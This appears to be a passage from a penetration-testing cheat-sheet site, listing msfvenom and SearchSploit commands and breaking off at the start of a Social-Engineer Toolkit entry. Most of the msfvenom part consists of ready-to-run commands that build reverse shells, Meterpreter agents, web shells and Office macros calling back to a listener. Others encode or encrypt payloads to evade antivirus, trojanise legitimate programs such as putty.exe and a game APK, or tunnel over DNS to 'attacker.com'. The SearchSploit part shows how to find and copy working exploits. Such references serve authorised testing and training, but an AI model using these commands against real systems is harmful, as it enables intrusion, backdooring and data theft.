https://terminal.rokibulroni.com/tool/exploitation/msfvenom - Homepage: https://www.metasploit.com - Documentation: https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html - Tags: payloads, shellcode, Metasploit ## Install - apt: `sudo apt install metasploit-framework` ## Basic Listing ### msfvenom -l payloads ```bash msfvenom -l payloads ``` Lists all available payloads supported by the framework. ### msfvenom -l encoders ```bash msfvenom -l encoders ``` Lists all available encoders for payload obfuscation. ### msfvenom -l formats ```bash msfvenom -l formats ``` Lists all supported output formats for executables and shellcode. ### msfvenom -l platforms ```bash msfvenom -l platforms ``` Lists all target platforms available for payload generation. ### msfvenom -l archs ```bash msfvenom -l archs ``` Lists all processor architectures supported for payload generation. ### msfvenom -l encrypt ```bash msfvenom -l encrypt ``` Lists supported encryption algorithms for payload protection. ## Windows Payload Generation ### msfvenom -p windows/exec CMD=calc.exe -f exe -o calc.exe ```bash msfvenom -p windows/exec CMD=calc.exe -f exe -o calc.exe ``` Generates a basic Windows executable that runs the calculator application. ### msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe ``` Creates a stageless Windows reverse TCP shell executable. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o meterpreter.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o meterpreter.exe ``` Generates a staged Windows Meterpreter reverse TCP executable. ### msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o agent64.exe ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o agent64.exe ``` Creates a 64-bit Windows Meterpreter reverse shell executable. ## Linux Payload Generation ### msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf ```bash msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf ``` Generates a 32-bit Linux ELF binary for a reverse TCP shell. ### msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f elf -o bind.elf ```bash msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f elf -o bind.elf ``` Creates a 64-bit Linux ELF binary for a bind TCP shell. ## macOS Payload Generation ### msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho ```bash msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho ``` Generates a macOS Mach-O binary for a reverse TCP shell. ## Android Payload Generation ### msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk ```bash msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -o payload.apk ``` Creates an Android APK package containing a Meterpreter reverse shell. ## Web Payload Generation ### msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php ``` Generates a raw PHP file containing a Meterpreter reverse shell. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp ``` Creates an ASP web shell payload for Windows IIS servers. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f aspx -o shell.aspx ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f aspx -o shell.aspx ``` Generates an ASPX web shell payload for modern Windows IIS servers. ### msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.jsp ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.jsp ``` Creates a JSP reverse shell payload for Java application servers. ### msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f war -o shell.war ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f war -o shell.war ``` Packages a Java reverse shell into a WAR file for deployment. ## Scripting Payload Generation ### msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py ```bash msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py ``` Generates a Python script containing a Meterpreter reverse shell. ### msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.sh ```bash msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.sh ``` Creates a Bash one-liner reverse shell for Unix-like systems. ### msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.pl ```bash msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.pl ``` Generates a Perl script one-liner for a reverse shell. ## Shellcode Generation ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c ``` Outputs the payload as a C language byte array for source code embedding. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py ``` Outputs the payload as a Python byte string variable. ### msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw ```bash msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw ``` Outputs raw binary shellcode directly to stdout. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hex ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hex ``` Outputs the payload as a hexadecimal string. ### msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f csharp ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f csharp ``` Outputs the payload formatted for C# source code. ## PowerShell Payloads ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1 ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1 ``` Generates a PowerShell script containing the payload. ### msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh-reflection -o payload.ps1 ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f psh-reflection -o payload.ps1 ``` Creates a PowerShell script using reflective injection techniques. ## Advanced Encoding ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe ``` Encodes the payload using the Shikata Ga Nai encoder. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_3 ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_3x.exe ``` Iterates the encoding process 3 times for increased obfuscation. ## Bad Character Handling ### msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00" -f c ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00" -f c ``` Generates shellcode excluding the null byte (0x00) bad character. ### msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00\x0a\x0d" -f python ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00\x0a\x0d" -f python ``` Generates shellcode excluding null, line feed, and carriage return characters. ## Architecture Specific ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --arch x86 --platform windows -f exe -o x86.ex ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --arch x86 --platform windows -f exe -o x86.exe ``` Explicitly sets the architecture to x86 and platform to Windows. ### msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o arm64.elf ```bash msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o arm64.elf ``` Generates a payload for 64-bit ARM (AArch64) Linux architectures. ### msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o router.elf ```bash msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o router.elf ``` Creates a payload for Big Endian MIPS architectures, common in routers. ## Template Injection ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -f exe -o putty_backdoor.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -f exe -o putty_backdoor.exe ``` Injects the payload into an existing executable (putty.exe) as a new thread. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -k -f exe -o putty_keep.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x putty.exe -k -f exe -o putty_keep.exe ``` Injects payload into a template and attempts to keep the template functional. ### msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x game.apk -o game_backdoor.apk ```bash msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -x game.apk -o game_backdoor.apk ``` Injects an Android payload into a legitimate APK file. ## NOP Sleds ### msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -n 20 -f elf -o nop_sled.elf ```bash msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -n 20 -f elf -o nop_sled.elf ``` Prepends a NOP (No Operation) sled of 20 bytes to the payload. ## Advanced Configuration ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=thread -f exe -o thread_exit.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=thread -f exe -o thread_exit.exe ``` Sets the ExitFunc to 'thread' to avoid crashing the host process upon exit. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=process -f exe -o process_exit.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 ExitFunc=process -f exe -o process_exit.exe ``` Sets the ExitFunc to 'process' to kill the entire process upon exit. ## Variable Output ### msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c -v my_sc ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c -v my_sc ``` Outputs C shellcode with a custom variable name 'my_sc'. ## Payload Size Optimization ### msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 --smallest -f exe -o small.exe ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 --smallest -f exe -o small.exe ``` Attempts to generate the smallest possible payload using header optimization. ## Format Mixing ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | msfvenom --arch x86 --platform window ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | msfvenom --arch x86 --platform windows -e x86/shikata_ga_nai -a x86 -f exe -o piped.exe ``` Pipes a raw payload into a second msfvenom instance for encoding. ## Encryption ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt rc4 --encrypt-key s3cr3t -f exe -o r ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt rc4 --encrypt-key s3cr3t -f exe -o rc4.exe ``` Encrypts the payload shellcode using RC4 with a specified key. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt aes256 --encrypt-key 1234567890abcde ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 --encrypt aes256 --encrypt-key 1234567890abcdef1234567890abcdef -f exe -o aes.exe ``` Encrypts the payload using AES256 for basic static evasion. ## Service Binaries ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe-service -o service.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe-service -o service.exe ``` Generates a Windows executable designed to run as a background service. ## Dynamic Link Libraries ### msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll -o payload.dll ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll -o payload.dll ``` Creates a 64-bit Windows Dynamic Link Library (DLL) payload. ## VBA Macro ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba -o macro.txt ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba -o macro.txt ``` Generates VBA code suitable for embedding in Office macros. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba-exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f vba-exe ``` Generates VBA code that drops and executes an embedded EXE. ## HTTP/HTTPS Payloads ### msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.10 LPORT=80 -f exe -o http_shell.exe ```bash msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.10 LPORT=80 -f exe -o http_shell.exe ``` Creates a Meterpreter payload that communicates over HTTP port 80. ### msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f exe -o https_shell.exe ```bash msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f exe -o https_shell.exe ``` Creates a Meterpreter payload that communicates over HTTPS port 443. ## Custom Options ### msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 SessionCommunicationTimeout=0 ExitOnSession=f ```bash msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 SessionCommunicationTimeout=0 ExitOnSession=false -f exe -o resilient.exe ``` Configures advanced session timeout and exit behaviors for the payload. ## Alphanumeric Shellcode ### msfvenom -p windows/exec CMD=calc.exe -e x86/alpha_mixed -f c ```bash msfvenom -p windows/exec CMD=calc.exe -e x86/alpha_mixed -f c ``` Encodes the payload to use only alphanumeric characters. ## Ruby Payload ### msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.rb ```bash msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.rb ``` Generates a Ruby script reverse shell. ## NodeJS Payload ### msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.js ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.js ``` Generates a NodeJS reverse shell script. ## HTA Payload ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hta-psh -o evil.hta ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f hta-psh -o evil.hta ``` Creates an HTA file that executes PowerShell code. ## Msi Payload ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f msi -o install.msi ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f msi -o install.msi ``` Packages the payload into a Windows Installer (MSI) file. ## Shellcode Buffer Register ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 BufferRegister=EAX -f c ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 BufferRegister=EAX -f c ``` Configures the shellcode to expect its own location in the EAX register. ## IPv6 Payload ### msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=fe80::20c:29ff:fe11:2233 LPORT=4444 -f exe -o ipv6.exe ```bash msfvenom -p windows/meterpreter/reverse_ipv6_tcp LHOST=fe80::20c:29ff:fe11:2233 LPORT=4444 -f exe -o ipv6.exe ``` Generates a Meterpreter payload utilizing IPv6 for the connection. ## Prepend Migrate ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 PrependMigrate=true PrependMigrateProc=explore ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o migrate.exe ``` Adds stub code to automatically migrate the payload into a stable process. ## Multi Encoder Chain ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom - ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 2 -f exe -o chained.exe ``` Demonstrates chaining multiple encoders via piping for complex obfuscation. ## Java Payload ### msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f jar -o payload.jar ```bash msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f jar -o payload.jar ``` Creates a self-contained Java JAR file payload. ## DNS Payload ### msfvenom -p windows/meterpreter/reverse_dns LHOST=attacker.com LPORT=53 -f exe -o dns.exe ```bash msfvenom -p windows/meterpreter/reverse_dns LHOST=attacker.com LPORT=53 -f exe -o dns.exe ``` Generates a payload that tunnels traffic over DNS to evade firewalls. ## Python Bytecode ### msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | python3 -m py_compile - ```bash msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw | python3 -m py_compile - ``` Generating raw python payload and compiling it to bytecode immediately. ## Raw Shellcode Injection ### msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin ```bash msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin ``` Outputs raw binary shellcode to a file for custom loader development. ## Red Team Delivery ### msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f psh-net -o net_delivery.ps1 ```bash msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f psh-net -o net_delivery.ps1 ``` Generates a PowerShell script format suitable for network-based reflection. ## Blue Team Testing ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o test_signature.exe ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o test_signature.exe ``` Creates a standard payload to test antivirus signature detection rates. ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o test_heu ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o test_heuristic.exe ``` Creates a highly encoded payload to test heuristic analysis engines. ## Exploit Dev ### msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f js_le ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f js_le ``` Outputs payload as JavaScript Little Endian for browser exploit dev. ### msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00" -f dw ```bash msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00" -f dw ``` Outputs payload as 'dword' format for buffer overflow construction. ## Format Listing ### msfvenom --list-options -p windows/meterpreter/reverse_tcp ```bash msfvenom --list-options -p windows/meterpreter/reverse_tcp ``` Lists all configurable options for a specific payload. ## Combined Advanced ### msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -b "\x00\xFF" -f c ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 3 -b "\x00\xFF" -f c ``` Combines encoding, iterations, and bad character filtering in one C output. ### msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 --encrypt aes256 --encrypt-key 1234567890 ```bash msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 --encrypt aes256 --encrypt-key 1234567890abcdef -f exe-service -o service_enc.exe ``` Generates an encrypted 64-bit HTTPS service binary for maximum persistence. ## Related tools - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) - [msfconsole](https://terminal.rokibulroni.com/tool/exploitation/msfconsole) # Tool: SearchSploit > The command-line search for a local copy of Exploit-DB — find, examine and copy exploits by product, version or CVE. - Category: Exploitation - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/exploitation/searchsploit - Homepage: https://www.exploit-db.com/searchsploit - Documentation: https://www.exploit-db.com/searchsploit - Tags: exploits, search, offline ## Install - apt: `sudo apt install exploitdb` - brew: `brew install exploitdb` ## Help and Updates ### searchsploit --help ```bash searchsploit --help ``` Displays the main help menu and lists all available options and flags ### searchsploit -u ```bash searchsploit -u ``` Updates the local Exploit Database repository to the latest version ## Basic Keyword Search ### searchsploit apache ```bash searchsploit apache ``` Searches for any exploits containing the term apache in the title or path ### searchsploit wordpress ```bash searchsploit wordpress ``` Finds exploits related to the WordPress content management system ### searchsploit smb ```bash searchsploit smb ``` Locates exploits targeting the Server Message Block protocol ## Multi Keyword Search ### searchsploit linux kernel ```bash searchsploit linux kernel ``` Searches for exploits matching both 'linux' and 'kernel' terms ### searchsploit windows smb remote ```bash searchsploit windows smb remote ``` Finds Windows SMB exploits that function remotely by combining keywords ### searchsploit apache 2.4 ```bash searchsploit apache 2.4 ``` Narrows search results to specific software versions using the version number ## Title Based Search ### searchsploit -t oracle ```bash searchsploit -t oracle ``` Restricts the search strictly to the exploit titles, ignoring file paths ### searchsploit -t "windows 10" ```bash searchsploit -t "windows 10" ``` Searches specifically for 'windows 10' within exploit titles only ## Exact Match Search ### searchsploit -e "WordPress Core 4.7" ```bash searchsploit -e "WordPress Core 4.7" ``` Performs a strict exact match search for the specified string ### searchsploit -e "ProFTPD 1.3.5" ```bash searchsploit -e "ProFTPD 1.3.5" ``` Finds exploits matching exactly the specified ProFTPD version string ## Case Sensitivity ### searchsploit -c OpenSSH ```bash searchsploit -c OpenSSH ``` Performs a case-sensitive search distinguishing between 'OpenSSH' and 'openssh' ### searchsploit -c MySQL ```bash searchsploit -c MySQL ``` Ensures the search respects the capitalization of the term MySQL ## ID Based Search ### searchsploit 39446 ```bash searchsploit 39446 ``` Retrieves the specific exploit associated with Exploit-DB ID 39446 ## CVE Based Search ### searchsploit CVE-2021-44228 ```bash searchsploit CVE-2021-44228 ``` Searches the database for exploits referencing the Log4Shell CVE ID ## Platform Filtering ### searchsploit --platform windows ```bash searchsploit --platform windows ``` Lists all available exploits targeting the Windows operating system ### searchsploit --platform linux ```bash searchsploit --platform linux ``` Filters the database to show only exploits designed for Linux systems ### searchsploit --platform android ```bash searchsploit --platform android ``` Shows exploits targeting the Android mobile platform ## Type Filtering ### searchsploit --type webapps ```bash searchsploit --type webapps ``` Filters results to show only web application based vulnerabilities ### searchsploit --type local ```bash searchsploit --type local ``` Restricts results to local privilege escalation or local exploits ### searchsploit --type remote ```bash searchsploit --type remote ``` Limits the output to remote code execution and remote exploits ### searchsploit --type shellcode ```bash searchsploit --type shellcode ``` Searches specifically for shellcode entries rather than full exploit scripts ### searchsploit --type dos ```bash searchsploit --type dos ``` Filters for Denial of Service (DoS) proof of concept scripts ## Combined Filtering ### searchsploit --platform windows --type local ```bash searchsploit --platform windows --type local ``` Combines filters to find local privilege escalation exploits for Windows ### searchsploit apache --platform linux --type remote ```bash searchsploit apache --platform linux --type remote ``` Finds remote Apache exploits specifically for Linux platforms ## Excluding Terms ### searchsploit wordpress --exclude="dos" ```bash searchsploit wordpress --exclude="dos" ``` Searches for WordPress exploits while removing Denial of Service results ### searchsploit apache --exclude="dos|poisoning" ```bash searchsploit apache --exclude="dos|poisoning" ``` Uses pipe syntax to exclude multiple terms like DoS and poisoning from results ## File Operations ### searchsploit -p 39446 ```bash searchsploit -p 39446 ``` Displays the full local path to the exploit file with ID 39446 ### searchsploit -m 39446 ```bash searchsploit -m 39446 ``` Copies the exploit file 39446 to the current working directory ### searchsploit -m 42031 42032 ```bash searchsploit -m 42031 42032 ``` Mirrors multiple exploit files to the current directory in a single command ### searchsploit -x 39446 ```bash searchsploit -x 39446 ``` Opens the specified exploit file in the default terminal pager or editor ## Online Integration ### searchsploit -w apache ```bash searchsploit -w apache ``` Provides URLs to the Exploit-DB website for the search results ### searchsploit -w 39446 ```bash searchsploit -w 39446 ``` Generates the direct web link for the specific exploit ID 39446 ## Output Formatting ### searchsploit --id ```bash searchsploit --id ``` Displays the EDB-ID explicitly in the search results columns ### searchsploit --color ```bash searchsploit --color ``` Forces colored output even when piping results to other commands ### searchsploit --no-color ```bash searchsploit --no-color ``` Disables color codes in output for easier parsing or logging ### searchsploit -o apache ```bash searchsploit -o apache ``` Allows overflow of columns to prevent description truncation ### searchsploit -v apache ```bash searchsploit -v apache ``` Enables verbose mode to show more details about the search process ## JSON Output ### searchsploit -j apache ```bash searchsploit -j apache ``` Outputs the search results in JSON format for programmatic processing ### searchsploit --json wordpress ```bash searchsploit --json wordpress ``` Uses the long-form flag to generate machine-readable JSON output ## Strict Mode ### searchsploit -s "linux kernel" ```bash searchsploit -s "linux kernel" ``` Enables strict searching which may filter out loose matches ## Advanced Workflow ### searchsploit tomcat --platform windows --type remote --id ```bash searchsploit tomcat --platform windows --type remote --id ``` Combines ID display with platform and type filters for precise targeting ### searchsploit joomla --exclude="(SQLi|XSS)" ```bash searchsploit joomla --exclude="(SQLi|XSS)" ``` Uses regex-style exclusion to filter out common SQLi and XSS vulnerabilities ### searchsploit --cve 2020 ```bash searchsploit --cve 2020 ``` Searches specifically for CVEs assigned in the year 2020 ### searchsploit privilege --platform linux --type local -t ```bash searchsploit privilege --platform linux --type local -t ``` Searches titles only for privilege escalation on local Linux systems ## Automation and Scripting ### searchsploit -j nginx > nginx_exploits.json ```bash searchsploit -j nginx > nginx_exploits.json ``` Redirects JSON output to a file for use in automated pipelines ### searchsploit -p 44228 | xargs grep "Usage" ```bash searchsploit -p 44228 | xargs grep "Usage" ``` Finds the path and pipes it to grep to check usage instructions ### searchsploit struts --json | jq . ```bash searchsploit struts --json | jq . ``` Pipes JSON output to jq for pretty-printing and parsing ## Red Team Discovery ### searchsploit "authenticated remote" --platform php ```bash searchsploit "authenticated remote" --platform php ``` Searches for PHP exploits requiring authentication for remote execution ### searchsploit "unauthenticated RCE" ```bash searchsploit "unauthenticated RCE" ``` Hunts for critical unauthenticated remote code execution vulnerabilities ## Blue Team Research ### searchsploit --author "Google Security" ```bash searchsploit --author "Google Security" ``` Filters exploits by specific security researchers or organizations ### searchsploit --type webapps --exclude="cms" ```bash searchsploit --type webapps --exclude="cms" ``` Looks for web app vulnerabilities excluding generic CMS results ## Nmap Integration ### searchsploit --nmap file.xml ```bash searchsploit --nmap file.xml ``` Parses an Nmap XML output file to automatically suggest exploits ### searchsploit -v --nmap scan_result.xml ```bash searchsploit -v --nmap scan_result.xml ``` Parses Nmap XML in verbose mode to see how services are matched ## Complex Regex ### searchsploit -t "(buffer|heap) overflow" ```bash searchsploit -t "(buffer|heap) overflow" ``` Uses regex in title search to find buffer or heap overflows ## Exploit Mirroring ### searchsploit -m $(searchsploit wordpress -w -t --id | awk '{print $1}') ```bash searchsploit -m $(searchsploit wordpress -w -t --id | awk '{print $1}') ``` Advanced subshell usage to mirror all found exploits (use with caution) ## Shellcode Analysis ### searchsploit linux/x86 --type shellcode ```bash searchsploit linux/x86 --type shellcode ``` Searches specifically for x86 architecture shellcode for Linux ## Maintenance ### searchsploit --update ```bash searchsploit --update ``` Alternative long-flag syntax to update the exploit database ## Full Path Output ### searchsploit --fullpath apache ```bash searchsploit --fullpath apache ``` Displays the complete system path to the exploit files in results ## Related tools - [Exploit-DB](https://terminal.rokibulroni.com/tool/exploitation/exploitdb) - [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit) - [Nmap](https://terminal.rokibulroni.com/tool/network/nmap) # Tool: Social-Engineer Toolkit > A framework for authorised social-engineering tests: credential-harvesting pages, phishing campaigns and payload delivery. - Category: Exploitation - Commands: 75 - Page: 